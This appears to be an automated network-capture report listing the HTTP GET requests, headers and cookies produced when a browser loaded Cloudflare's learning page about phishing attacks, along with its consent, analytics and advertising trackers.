Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /174-242772ef10d8d161ae24.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /static/z/i.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/2459 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/assets/otCommonStyles.css HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/1048862057.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3199558980.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/333361657.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3934964512.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/018debfb-4917-76f1-8862-8a2f83812baa/en.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjMzODE3NzAzMzc0MDU2NDMlMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmJvb2tpbmdhZG9jZWwuY29tJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q= HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1
Source: global traffic	HTTP traffic detected: GET /logger-1.min.js HTTP/1.1Host: cdn.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/2459 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /static/z/i.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1
Source: global traffic	HTTP traffic detected: GET /174-242772ef10d8d161ae24.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/assets/otCommonStyles.css HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjMzODE3NzAzMzc0MDU2NDMlMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmJvb2tpbmdhZG9jZWwuY29tJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q= HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D
Source: global traffic	HTTP traffic detected: GET /qualified.js?token=37pXYrro6wCZbsU7 HTTP/1.1Host: js.qualified.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729259290739&uuid=ba8ef504-ac9b-4995-be02-177cd5f1712a&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280 HTTP/1.1Host: alb.reddit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1be41a80498a5b73.min.js HTTP/1.1Host: tag.demandbase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/bizible.js HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=8AD56F28618A50850A495FB6%40AdobeOrg&d_nsid=0&ts=1729259290356 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.cloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
